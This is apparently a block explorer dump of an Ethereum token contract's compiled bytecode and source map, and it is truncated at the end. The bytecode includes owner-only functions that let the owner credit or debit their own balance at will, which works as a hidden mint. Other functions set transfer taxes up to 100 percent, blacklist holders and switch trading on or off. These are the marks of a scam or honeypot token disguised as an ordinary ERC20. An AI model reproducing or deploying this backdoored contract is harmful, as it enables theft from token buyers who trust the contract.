31660009081526001602052604090205490565b6000806107ca6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561082d57600080fd5b505af1158015610841573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061086691906115ff565b505060085460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156108ba57600080fd5b505af11580156108ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f2919061162d565b50565b6000546001600160a01b0316331461091f5760405162461bcd60e51b8152600401610478906115ad565b801561094f573360009081526001602052604081208054849290610944908490611596565b909155506109749050565b336000908152600160205260408120805484929061096e90849061164a565b90915550505b5050565b60006103d1338484610c34565b6000546001600160a01b031633146109af5760405162461bcd60e51b8152600401610478906115ad565b60648260ff16111580156109c7575060648160ff1611155b610a015760405162461bcd60e51b815260206004820152600b60248201526a092dcecc2d8d2c840a8c2f60ab1b6044820152606401610478565b6003805463ffff000019166201000060ff9485160263ff00000019161763010000009290931691909102919091179055565b6000546001600160a01b03163314610a5d5760405162461bcd60e51b8152600401610478906115ad565b81610a985760405162461bcd60e51b815260206004820152600b60248201526a456d70747920757365727360a81b6044820152606401610478565b60005b82811015610b095781600b6000868685818110610aba57610aba611662565b9050602002016020810190610acf919061130f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b0181611678565b915050610a9b565b50505050565b6001600160a01b038316610b715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610478565b6001600160a01b038216610bd25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610478565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b60008111610c725760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610478565b6001600160a01b0383166000908152600b602052604090205460ff16158015610cb457506001600160a01b0382166000908152600b602052604090205460ff16155b610cef5760405162461bcd60e51b815260206004820152600c60248201526b125b88189b1858dadb1a5cdd60a21b6044820152606401610478565b60035460ff16610d7a576001600160a01b0383166000908152600a602052604090205460ff1680610d3857506001600160a01b0382166000908152600a602052604090205460ff165b610d7a5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610478565b6008546001600160a01b03848116911614801590610da657506008546001600160a01b03838116911614155b80610dc957506001600160a01b0383166000908152600a602052604090205460ff165b80610dec57506001600160a01b0382166000908152600a602052604090205460ff165b80610dfe5750600354610100900460ff165b15610e1357610e0e838383610f87565b505050565b6008546001600160a01b038381169116148015610e4157506004543060009081526001602052604090205410155b15610e8f576003805461ff001916610100179055610e7c610e77306001600160a01b031660009081526001602052604090205490565b611028565b6003805461ff0019169055610e8f611192565b6008546001600160a01b0384811691161415610f6057600554811115610eec5760405162461bcd60e51b815260206004820152601260248201527113dd995c881b585e081d1e08185b5bdd5b9d60721b6044820152606401610478565b60065481610f0f846001600160a01b031660009081526001602052604090205490565b610f19919061164a565b1115610f605760405162461bcd60e51b815260206004820152601660248201527513dd995c881b585e081dd85b1b195d08185b5bdd5b9d60521b6044820152606401610478565b600854610f7e90849083906001600160a01b038681169116146111d3565b9050610e0e8383835b6001600160a01b03831660009081526001602052604081208054839290610faf908490611596565b90915550506001600160a01b03821660009081526001602052604081208054839290610fdc90849061164a565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c2791815260200190565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061105d5761105d611662565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110b157600080fd5b505afa1580156110c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e991906115e2565b816001815181106110fc576110fc611662565b6001600160a01b0392831660209182029290920101526007546111229130911684610b0f565b60075460095460405163791ac94760e01b81526001600160a01b039283169263791ac9479261115f92879260009288929116904290600401611693565b600060405180830381600087803b15801561117957600080fd5b505af192505050801561118a575060015b610974575050565b47156111d1576009546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156108f2573d6000803e3d6000fd5b565b600080826111ec5760035462010000900460ff166111fa565b6003546301000000900460ff165b60ff1690506000606461120d8387611577565b6112179190611704565b9050611224863083610f87565b61122e8186611596565b9695505050505050565b600060208083528351808285015260005b8181101561126557858101830151858201604001528201611249565b81811115611277576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108f257600080fd5b600080604083850312156112b557600080fd5b82356112c08161128d565b946020939093013593505050565b6000806000606084860312156112e357600080fd5b83356112ee8161128d565b925060208401356112fe8161128d565b929592945050506040919091013590565b60006020828403121561132157600080fd5b813561132c8161128d565b9392505050565b80151581146108f257600080fd5b6000806040838503121561135457600080fd5b82359150602083013561136681611333565b809150509250929050565b803560ff8116811461138257600080fd5b919050565b6000806040838503121561139a57600080fd5b6113a383611371565b91506113b160208401611371565b90509250929050565b6000806000604084860312156113cf57600080fd5b833567ffffffffffffffff808211156113e757600080fd5b818601915086601f8301126113fb57600080fd5b81358181111561140a57600080fd5b8760208260051b850101111561141f57600080fd5b6020928301955093505084013561143581611333565b809150509250925092565b6000806040838503121561145357600080fd5b823561145e8161128d565b915060208301356113668161128d565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114bf5781600019048211156114a5576114a561146e565b808516156114b257918102915b93841c9390800290611489565b509250929050565b6000826114d6575060016103d5565b816114e3575060006103d5565b81600181146114f957600281146115035761151f565b60019150506103d5565b60ff8411156115145761151461146e565b50506001821b6103d5565b5060208310610133831016604e8410600b8410161715611542575081810a6103d5565b61154c8383611484565b80600019048211156115605761156061146e565b029392505050565b600061132c60ff8416836114c7565b60008160001904831182151516156115915761159161146e565b500290565b6000828210156115a8576115a861146e565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156115f457600080fd5b815161132c8161128d565b60008060006060848603121561161457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561163f57600080fd5b815161132c81611333565b6000821982111561165d5761165d61146e565b500190565b634e487b7160e01b600052603260045260246000fd5b600060001982141561168c5761168c61146e565b5060010190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116e35784516001600160a01b0316835293830193918301916001016116be565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261172157634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220ec055a0a18751df10af3030fdf3a6753c39de5c91aaf96cad6264e093f32c2ab64736f6c63430008080033

Deployed Bytecode Sourcemap

2535:7023:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3857:83;;;;;;;;;;-1:-1:-1;3927:5:0;;;;;;;;;;;;-1:-1:-1;;;3927:5:0;;;;3857:83;;;;;;;:::i;:::-;;;;;;;;4690:161;;;;;;;;;;-1:-1:-1;4690:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;4690:161:0;1072:187:1;4134:95:0;;;;;;;;;;;;;:::i;:::-;;;1410:25:1;;;1398:2;1383:18;4134:95:0;1264:177:1;4859:266:0;;;;;;;;;;-1:-1:-1;4859:266:0;;;;;:::i;:::-;;:::i;4043:83::-;;;;;;;;;;-1:-1:-1;2884:2:0;4043:83;;;2079:4:1;2067:17;;;2049:36;;2037:2;2022:18;4043:83:0;1907:184:1;2788:23:0;;;;;;;;;;-1:-1:-1;2788:23:0;;;;;;;;;;;4237:119;;;;;;;;;;-1:-1:-1;4237:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;4330:18:0;4303:7;4330:18;;;:9;:18;;;;;;;4237:119;734:148;;;;;;;;;;;;;:::i;:::-;;7104:131;;;;;;;;;;;;;:::i;5476:641::-;;;;;;;;;;;;;:::i;520:79::-;;;;;;;;;;-1:-1:-1;558:7:0;585:6;520:79;;-1:-1:-1;;;;;585:6:0;;;2494:51:1;;2482:2;2467:18;520:79:0;2348:203:1;3948:87:0;;;;;;;;;;-1:-1:-1;4020:7:0;;;;;;;;;;;;-1:-1:-1;;;4020:7:0;;;;3948:87;;6885:211;;;;;;;;;;-1:-1:-1;6885:211:0;;;;;:::i;:::-;;:::i;4364:167::-;;;;;;;;;;-1:-1:-1;4364:167:0;;;;;:::i;:::-;;:::i;6125:210::-;;;;;;;;;;-1:-1:-1;6125:210:0;;;;;:::i;:::-;;:::i;6630:247::-;;;;;;;;;;-1:-1:-1;6630:247:0;;;;;:::i;:::-;;:::i;2818:24::-;;;;;;;;;;-1:-1:-1;2818:24:0;;;;;;;;;;;4539:143;;;;;;;;;;-1:-1:-1;4539:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4647:18:0;;;4620:7;4647:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4539:143;4690:161;4765:4;4782:39;177:10;4805:7;4814:6;4782:8;:39::i;:::-;-1:-1:-1;4839:4:0;4690:161;;;;;:::o;4134:95::-;4187:7;2941:15;2884:2;2941;:15;:::i;:::-;2928:28;;:10;:28;:::i;:::-;4207:14;;4134:95;:::o;4859:266::-;4957:4;4974:36;4984:6;4992:9;5003:6;4974:9;:36::i;:::-;-1:-1:-1;;;;;5052:19:0;;;;;;:11;:19;;;;;;;;177:10;5052:33;;;;;;;;;5021:74;;5030:6;;5052:42;;5088:6;;5052:42;:::i;:::-;5021:8;:74::i;:::-;-1:-1:-1;5113:4:0;4859:266;;;;;:::o;734:148::-;647:6;;-1:-1:-1;;;;;647:6:0;177:10;647:22;639:67;;;;-1:-1:-1;;;639:67:0;;;;;;;:::i;:::-;;;;;;;;;841:1:::1;825:6:::0;;804:40:::1;::::0;-1:-1:-1;;;;;825:6:0;;::::1;::::0;804:40:::1;::::0;841:1;;804:40:::1;872:1;855:19:::0;;-1:-1:-1;;;;;;855:19:0::1;::::0;;734:148::o;7104:131::-;647:6;;-1:-1:-1;;;;;647:6:0;177:10;647:22;639:67;;;;-1:-1:-1;;;639:67:0;;;;;;;:::i;:::-;7172:13:::1;:11;:13::i;:::-;7158:11;:27:::0;7214:13:::1;:11;:13::i;:::-;7196:15;:31:::0;7104:131::o;5476:641::-;647:6;;-1:-1:-1;;;;;647:6:0;177:10;647:22;639:67;;;;-1:-1:-1;;;639:67:0;;;;;;;:::i;:::-;5540:14:::1;::::0;::::1;;5539:15;5531:43;;;::::0;-1:-1:-1;;;5531:43:0;;6940:2:1;5531:43:0::1;::::0;::::1;6922:21:1::0;6979:2;6959:18;;;6952:30;-1:-1:-1;;;6998:18:1;;;6991:45;7053:18;;5531:43:0::1;6738:339:1::0;5531:43:0::1;5585:14;:21:::0;;-1:-1:-1;;5585:21:0::1;5602:4;5585:21;::::0;;5617:15:::1;:80:::0;;-1:-1:-1;;;;;;5617:80:0::1;5654:42;5617:80:::0;;::::1;::::0;;;5708:58:::1;::::0;5725:4:::1;::::0;2941:15:::1;2884:2;2941;:15;:::i;:::-;2928:28;::::0;:10:::1;:28;:::i;5708:58::-;5811:15;;;;;;;;;-1:-1:-1::0;;;;;5811:15:0::1;-1:-1:-1::0;;;;;5811:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5793:55:0::1;;5857:4;5864:15;;;;;;;;;-1:-1:-1::0;;;;;5864:15:0::1;-1:-1:-1::0;;;;;5864:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5793:94;::::0;-1:-1:-1;;;;;;5793:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7568:15:1;;;5793:94:0::1;::::0;::::1;7550:34:1::0;7620:15;;7600:18;;;7593:43;7485:18;;5793:94:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5777:13;:110:::0;;-1:-1:-1;;;;;5777:110:0;;::::1;-1:-1:-1::0;;;;;;5777:110:0;;::::1;;::::0;;5898:15:::1;::::0;::::1;:31;5937:21;5968:4;5974:24;5968:4:::0;-1:-1:-1;;;;;4330:18:0;4303:7;4330:18;;;:9;:18;;;;;;;4237:119;5974:24:::1;5999:1;6001::::0;6003:7:::1;558::::0;585:6;-1:-1:-1;;;;;585:6:0;;520:79;6003:7:::1;5898:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5898:129:0;;;-1:-1:-1;;;;;8006:15:1;;;5898:129:0::1;::::0;::::1;7988:34:1::0;8038:18;;;8031:34;;;;8081:18;;;8074:34;;;;8124:18;;;8117:34;8188:15;;;8167:19;;;8160:44;6011:15:0::1;8220:19:1::0;;;8213:35;7922:19;;5898:129:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6045:13:0::1;::::0;6076:15:::1;::::0;6038:71:::1;::::0;-1:-1:-1;;;6038:71:0;;-1:-1:-1;;;;;6076:15:0;;::::1;6038:71;::::0;::::1;8744:51:1::0;-1:-1:-1;;8811:18:1;;;8804:34;6045:13:0;::::1;::::0;-1:-1:-1;6038:29:0::1;::::0;8717:18:1;;6038:71:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5476:641::o:0;6885:211::-;647:6;;-1:-1:-1;;;;;647:6:0;177:10;647:22;639:67;;;;-1:-1:-1;;;639:67:0;;;;;;;:::i;:::-;6960:4:::1;6956:89;;;6991:10;6981:21;::::0;;;:9:::1;:21;::::0;;;;:31;;7006:6;;6981:21;:31:::1;::::0;7006:6;;6981:31:::1;:::i;:::-;::::0;;;-1:-1:-1;7027:7:0::1;::::0;-1:-1:-1;7027:7:0::1;6956:89;7067:10;7057:21;::::0;;;:9:::1;:21;::::0;;;;:31;;7082:6;;7057:21;:31:::1;::::0;7082:6;;7057:31:::1;:::i;:::-;::::0;;;-1:-1:-1;;717:1:0::1;6885:211:::0;;:::o;4364:167::-;4442:4;4459:42;177:10;4483:9;4494:6;4459:9;:42::i;6125:210::-;647:6;;-1:-1:-1;;;;;647:6:0;177:10;647:22;639:67;;;;-1:-1:-1;;;639:67:0;;;;;;;:::i;:::-;6227:3:::1;6214:9;:16;;;;:37;;;;;6248:3;6234:10;:17;;;;6214:37;6206:61;;;::::0;-1:-1:-1;;;6206:61:0;;9434:2:1;6206:61:0::1;::::0;::::1;9416:21:1::0;9473:2;9453:18;;;9446:30;-1:-1:-1;;;9492:18:1;;;9485:41;9543:18;;6206:61:0::1;9232:335:1::0;6206:61:0::1;6278:6;:18:::0;;-1:-1:-1;;6307:20:0;6278:18;::::1;::::0;;::::1;;-1:-1:-1::0;;6307:20:0;;;;;;::::1;::::0;;;::::1;::::0;;;::::1;::::0;;6125:210::o;6630:247::-;647:6;;-1:-1:-1;;;;;647:6:0;177:10;647:22;639:67;;;;-1:-1:-1;;;639:67:0;;;;;;;:::i;:::-;6731:16;6723:40:::1;;;::::0;-1:-1:-1;;;6723:40:0;;9774:2:1;6723:40:0::1;::::0;::::1;9756:21:1::0;9813:2;9793:18;;;9786:30;-1:-1:-1;;;9832:18:1;;;9825:41;9883:18;;6723:40:0::1;9572:335:1::0;6723:40:0::1;6779:9;6774:96;6790:16:::0;;::::1;6774:96;;;6851:7;6828:10;:20;6839:5;;6845:1;6839:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6828:20:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;6828:20:0;:30;;-1:-1:-1;;6828:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;6808:3;::::1;::::0;::::1;:::i;:::-;;;;6774:96;;;;6630:247:::0;;;:::o;5133:335::-;-1:-1:-1;;;;;5226:19:0;;5218:68;;;;-1:-1:-1;;;5218:68:0;;10386:2:1;5218:68:0;;;10368:21:1;10425:2;10405:18;;;10398:30;10464:34;10444:18;;;10437:62;-1:-1:-1;;;10515:18:1;;;10508:34;10559:19;;5218:68:0;10184:400:1;5218:68:0;-1:-1:-1;;;;;5305:21:0;;5297:68;;;;-1:-1:-1;;;5297:68:0;;10791:2:1;5297:68:0;;;10773:21:1;10830:2;10810:18;;;10803:30;10869:34;10849:18;;;10842:62;-1:-1:-1;;;10920:18:1;;;10913:32;10962:19;;5297:68:0;10589:398:1;5297:68:0;-1:-1:-1;;;;;5376:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5428:32;;1410:25:1;;;5428:32:0;;1383:18:1;5428:32:0;;;;;;;;5133:335;;;:::o;7448:1122::-;7546:1;7537:6;:10;7529:34;;;;-1:-1:-1;;;7529:34:0;;11194:2:1;7529:34:0;;;11176:21:1;11233:2;11213:18;;;11206:30;-1:-1:-1;;;11252:18:1;;;11245:41;11303:18;;7529:34:0;10992:335:1;7529:34:0;-1:-1:-1;;;;;7583:16:0;;;;;;:10;:16;;;;;;;;7582:17;:36;;;;-1:-1:-1;;;;;;7604:14:0;;;;;;:10;:14;;;;;;;;7603:15;7582:36;7574:61;;;;-1:-1:-1;;;7574:61:0;;11534:2:1;7574:61:0;;;11516:21:1;11573:2;11553:18;;;11546:30;-1:-1:-1;;;11592:18:1;;;11585:42;11644:18;;7574:61:0;11332:336:1;7574:61:0;7653:14;;;;7648:130;;-1:-1:-1;;;;;7692:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;7720:22:0;;;;;;:18;:22;;;;;;;;7692:50;7684:82;;;;-1:-1:-1;;;7684:82:0;;11875:2:1;7684:82:0;;;11857:21:1;11914:2;11894:18;;;11887:30;-1:-1:-1;;;11933:18:1;;;11926:49;11992:18;;7684:82:0;11673:343:1;7684:82:0;7802:13;;-1:-1:-1;;;;;7794:21:0;;;7802:13;;7794:21;;;;:44;;-1:-1:-1;7825:13:0;;-1:-1:-1;;;;;7819:19:0;;;7825:13;;7819:19;;7794:44;:72;;;-1:-1:-1;;;;;;7842:24:0;;;;;;:18;:24;;;;;;;;7794:72;:98;;;-1:-1:-1;;;;;;7870:22:0;;;;;;:18;:22;;;;;;;;7794:98;:110;;;-1:-1:-1;7896:8:0;;;;;;;7794:110;7790:196;;;7921:32;7936:4;7942:2;7946:6;7921:14;:32::i;:::-;7448:1122;;;:::o;7790:196::-;8008:13;;-1:-1:-1;;;;;8002:19:0;;;8008:13;;8002:19;:69;;;;-1:-1:-1;8053:18:0;;8043:4;4303:7;4330:18;;;:9;:18;;;;;;8025:46;;8002:69;7998:240;;;8088:8;:15;;-1:-1:-1;;8088:15:0;;;;;8118:42;8135:24;8153:4;-1:-1:-1;;;;;4330:18:0;4303:7;4330:18;;;:9;:18;;;;;;;4237:119;8135:24;8118:16;:42::i;:::-;8175:8;:16;;-1:-1:-1;;8175:16:0;;;8206:20;:18;:20::i;:::-;8262:13;;-1:-1:-1;;;;;8254:21:0;;;8262:13;;8254:21;8250:206;;;8310:11;;8300:6;:21;;8292:52;;;;-1:-1:-1;;;8292:52:0;;12223:2:1;8292:52:0;;;12205:21:1;12262:2;12242:18;;;12235:30;-1:-1:-1;;;12281:18:1;;;12274:48;12339:18;;8292:52:0;12021:342:1;8292:52:0;8402:15;;8392:6;8367:22;8385:2;-1:-1:-1;;;;;4330:18:0;4303:7;4330:18;;;:9;:18;;;;;;;4237:119;8367:22;:31;;;;:::i;:::-;:50;;8359:85;;;;-1:-1:-1;;;8359:85:0;;12570:2:1;8359:85:0;;;12552:21:1;12609:2;12589:18;;;12582:30;-1:-1:-1;;;12628:18:1;;;12621:52;12690:18;;8359:85:0;12368:346:1;8359:85:0;8505:13;;8477:42;;8485:4;;8491:6;;-1:-1:-1;;;;;8499:19:0;;;8505:13;;8499:19;8477:7;:42::i;:::-;8468:51;;8530:32;8545:4;8551:2;8555:6;7243:197;-1:-1:-1;;;;;7329:15:0;;;;;;:9;:15;;;;;:25;;7348:6;;7329:15;:25;;7348:6;;7329:25;:::i;:::-;;;;-1:-1:-1;;;;;;;7365:13:0;;;;;;:9;:13;;;;;:23;;7382:6;;7365:13;:23;;7382:6;;7365:23;:::i;:::-;;;;;;;;7421:2;-1:-1:-1;;;;;7406:26:0;7415:4;-1:-1:-1;;;;;7406:26:0;;7425:6;7406:26;;;;1410:25:1;;1398:2;1383:18;;1264:177;8875:516:0;8966:16;;;8980:1;8966:16;;;;;;;;8942:21;;8966:16;;;;;;;;;;-1:-1:-1;8966:16:0;8942:40;;9011:4;8993;8998:1;8993:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8993:23:0;;;:7;;;;;;;;;;:23;;;;9037:15;;:22;;;-1:-1:-1;;;9037:22:0;;;;:15;;;;;:20;;:22;;;;;8993:7;;9037:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9027:4;9032:1;9027:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9027:32:0;;;:7;;;;;;;;;:32;9104:15;;9072:62;;9089:4;;9104:15;9122:11;9072:8;:62::i;:::-;9149:15;;9291:9;;9149:192;;-1:-1:-1;;;9149:192:0;;-1:-1:-1;;;;;9149:15:0;;;;:66;;:192;;9230:11;;9149:15;;9272:4;;9291:9;;;9315:15;;9149:192;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9145:239;;9366:7;8875:516;:::o;9399:156::-;9453:21;:25;9449:99;;9495:9;;:41;;-1:-1:-1;;;;;9495:9:0;;;;9514:21;9495:41;;;;;:9;:41;:9;:41;9514:21;9495:9;:41;;;;;;;;;;;;;;;;;;;9449:99;9399:156::o;8578:289::-;8656:7;8676:11;8690:6;:25;;8709:6;;;;;;;8690:25;;;8699:7;;;;;;;8690:25;8676:39;;;-1:-1:-1;8726:17:0;8761:3;8746:12;8676:39;8746:6;:12;:::i;:::-;:18;;;;:::i;:::-;8726:38;;8777:46;8792:4;8806;8813:9;8777:14;:46::i;:::-;8841:18;8850:9;8841:6;:18;:::i;:::-;8834:25;8578:289;-1:-1:-1;;;;;;8578:289:0:o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:315;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;2096:247::-;2155:6;2208:2;2196:9;2187:7;2183:23;2179:32;2176:52;;;2224:1;2221;2214:12;2176:52;2263:9;2250:23;2282:31;2307:5;2282:31;:::i;:::-;2332:5;2096:247;-1:-1:-1;;;2096:247:1:o;2556:118::-;2642:5;2635:13;2628:21;2621:5;2618:32;2608:60;;2664:1;2661;2654:12;2679:309;2744:6;2752;2805:2;2793:9;2784:7;2780:23;2776:32;2773:52;;;2821:1;2818;2811:12;2773:52;2857:9;2844:23;2834:33;;2917:2;2906:9;2902:18;2889:32;2930:28;2952:5;2930:28;:::i;:::-;2977:5;2967:15;;;2679:309;;;;;:::o;2993:156::-;3059:20;;3119:4;3108:16;;3098:27;;3088:55;;3139:1;3136;3129:12;3088:55;2993:156;;;:::o;3154:252::-;3218:6;3226;3279:2;3267:9;3258:7;3254:23;3250:32;3247:52;;;3295:1;3292;3285:12;3247:52;3318:27;3335:9;3318:27;:::i;:::-;3308:37;;3364:36;3396:2;3385:9;3381:18;3364:36;:::i;:::-;3354:46;;3154:252;;;;;:::o;3411:750::-;3503:6;3511;3519;3572:2;3560:9;3551:7;3547:23;3543:32;3540:52;;;3588:1;3585;3578:12;3540:52;3628:9;3615:23;3657:18;3698:2;3690:6;3687:14;3684:34;;;3714:1;3711;3704:12;3684:34;3752:6;3741:9;3737:22;3727:32;;3797:7;3790:4;3786:2;3782:13;3778:27;3768:55;;3819:1;3816;3809:12;3768:55;3859:2;3846:16;3885:2;3877:6;3874:14;3871:34;;;3901:1;3898;3891:12;3871:34;3956:7;3949:4;3939:6;3936:1;3932:14;3928:2;3924:23;3920:34;3917:47;3914:67;;;3977:1;3974;3967:12;3914:67;4008:4;4000:13;;;;-1:-1:-1;4032:6:1;-1:-1:-1;;4073:20:1;;4060:34;4103:28;4060:34;4103:28;:::i;:::-;4150:5;4140:15;;;3411:750;;;;;:::o;4166:388::-;4234:6;4242;4295:2;4283:9;4274:7;4270:23;4266:32;4263:52;;;4311:1;4308;4301:12;4263:52;4350:9;4337:23;4369:31;4394:5;4369:31;:::i;:::-;4419:5;-1:-1:-1;4476:2:1;4461:18;;4448:32;4489:33;4448:32;4489:33;:::i;4559:127::-;4620:10;4615:3;4611:20;4608:1;4601:31;4651:4;4648:1;4641:15;4675:4;4672:1;4665:15;4691:422;4780:1;4823:5;4780:1;4837:270;4858:7;4848:8;4845:21;4837:270;;;4917:4;4913:1;4909:6;4905:17;4899:4;4896:27;4893:53;;;4926:18;;:::i;:::-;4976:7;4966:8;4962:22;4959:55;;;4996:16;;;;4959:55;5075:22;;;;5035:15;;;;4837:270;;;4841:3;4691:422;;;;;:::o;5118:806::-;5167:5;5197:8;5187:80;;-1:-1:-1;5238:1:1;5252:5;;5187:80;5286:4;5276:76;;-1:-1:-1;5323:1:1;5337:5;;5276:76;5368:4;5386:1;5381:59;;;;5454:1;5449:130;;;;5361:218;;5381:59;5411:1;5402:10;;5425:5;;;5449:130;5486:3;5476:8;5473:17;5470:43;;;5493:18;;:::i;:::-;-1:-1:-1;;5549:1:1;5535:16;;5564:5;;5361:218;;5663:2;5653:8;5650:16;5644:3;5638:4;5635:13;5631:36;5625:2;5615:8;5612:16;5607:2;5601:4;5598:12;5594:35;5591:77;5588:159;;;-1:-1:-1;5700:19:1;;;5732:5;;5588:159;5779:34;5804:8;5798:4;5779:34;:::i;:::-;5849:6;5845:1;5841:6;5837:19;5828:7;5825:32;5822:58;;;5860:18;;:::i;:::-;5898:20;;5118:806;-1:-1:-1;;;5118:806:1:o;5929:140::-;5987:5;6016:47;6057:4;6047:8;6043:19;6037:4;6016:47;:::i;6074:168::-;6114:7;6180:1;6176;6172:6;6168:14;6165:1;6162:21;6157:1;6150:9;6143:17;6139:45;6136:71;;;6187:18;;:::i;:::-;-1:-1:-1;6227:9:1;;6074:168::o;6247:125::-;6287:4;6315:1;6312;6309:8;6306:34;;;6320:18;;:::i;:::-;-1:-1:-1;6357:9:1;;6247:125::o;6377:356::-;6579:2;6561:21;;;6598:18;;;6591:30;6657:34;6652:2;6637:18;;6630:62;6724:2;6709:18;;6377:356::o;7082:251::-;7152:6;7205:2;7193:9;7184:7;7180:23;7176:32;7173:52;;;7221:1;7218;7211:12;7173:52;7253:9;7247:16;7272:31;7297:5;7272:31;:::i;8259:306::-;8347:6;8355;8363;8416:2;8404:9;8395:7;8391:23;8387:32;8384:52;;;8432:1;8429;8422:12;8384:52;8461:9;8455:16;8445:26;;8511:2;8500:9;8496:18;8490:25;8480:35;;8555:2;8544:9;8540:18;8534:25;8524:35;;8259:306;;;;;:::o;8849:245::-;8916:6;8969:2;8957:9;8948:7;8944:23;8940:32;8937:52;;;8985:1;8982;8975:12;8937:52;9017:9;9011:16;9036:28;9058:5;9036:28;:::i;9099:128::-;9139:3;9170:1;9166:6;9163:1;9160:13;9157:39;;;9176:18;;:::i;:::-;-1:-1:-1;9212:9:1;;9099:128::o;9912:127::-;9973:10;9968:3;9964:20;9961:1;9954:31;10004:4;10001:1;9994:15;10028:4;10025:1;10018:15;10044:135;10083:3;-1:-1:-1;;10104:17:1;;10101:43;;;10124:18;;:::i;:::-;-1:-1:-1;10171:1:1;10160:13;;10044:135::o;12851:988::-;13121:4;13169:3;13158:9;13154:19;13200:6;13189:9;13182:25;13226:2;13264:6;13259:2;13248:9;13244:18;13237:34;13307:3;13302:2;13291:9;13287:18;13280:31;13331:6;13366;13360:13;13397:6;13389;13382:22;13435:3;13424:9;13420:19;13413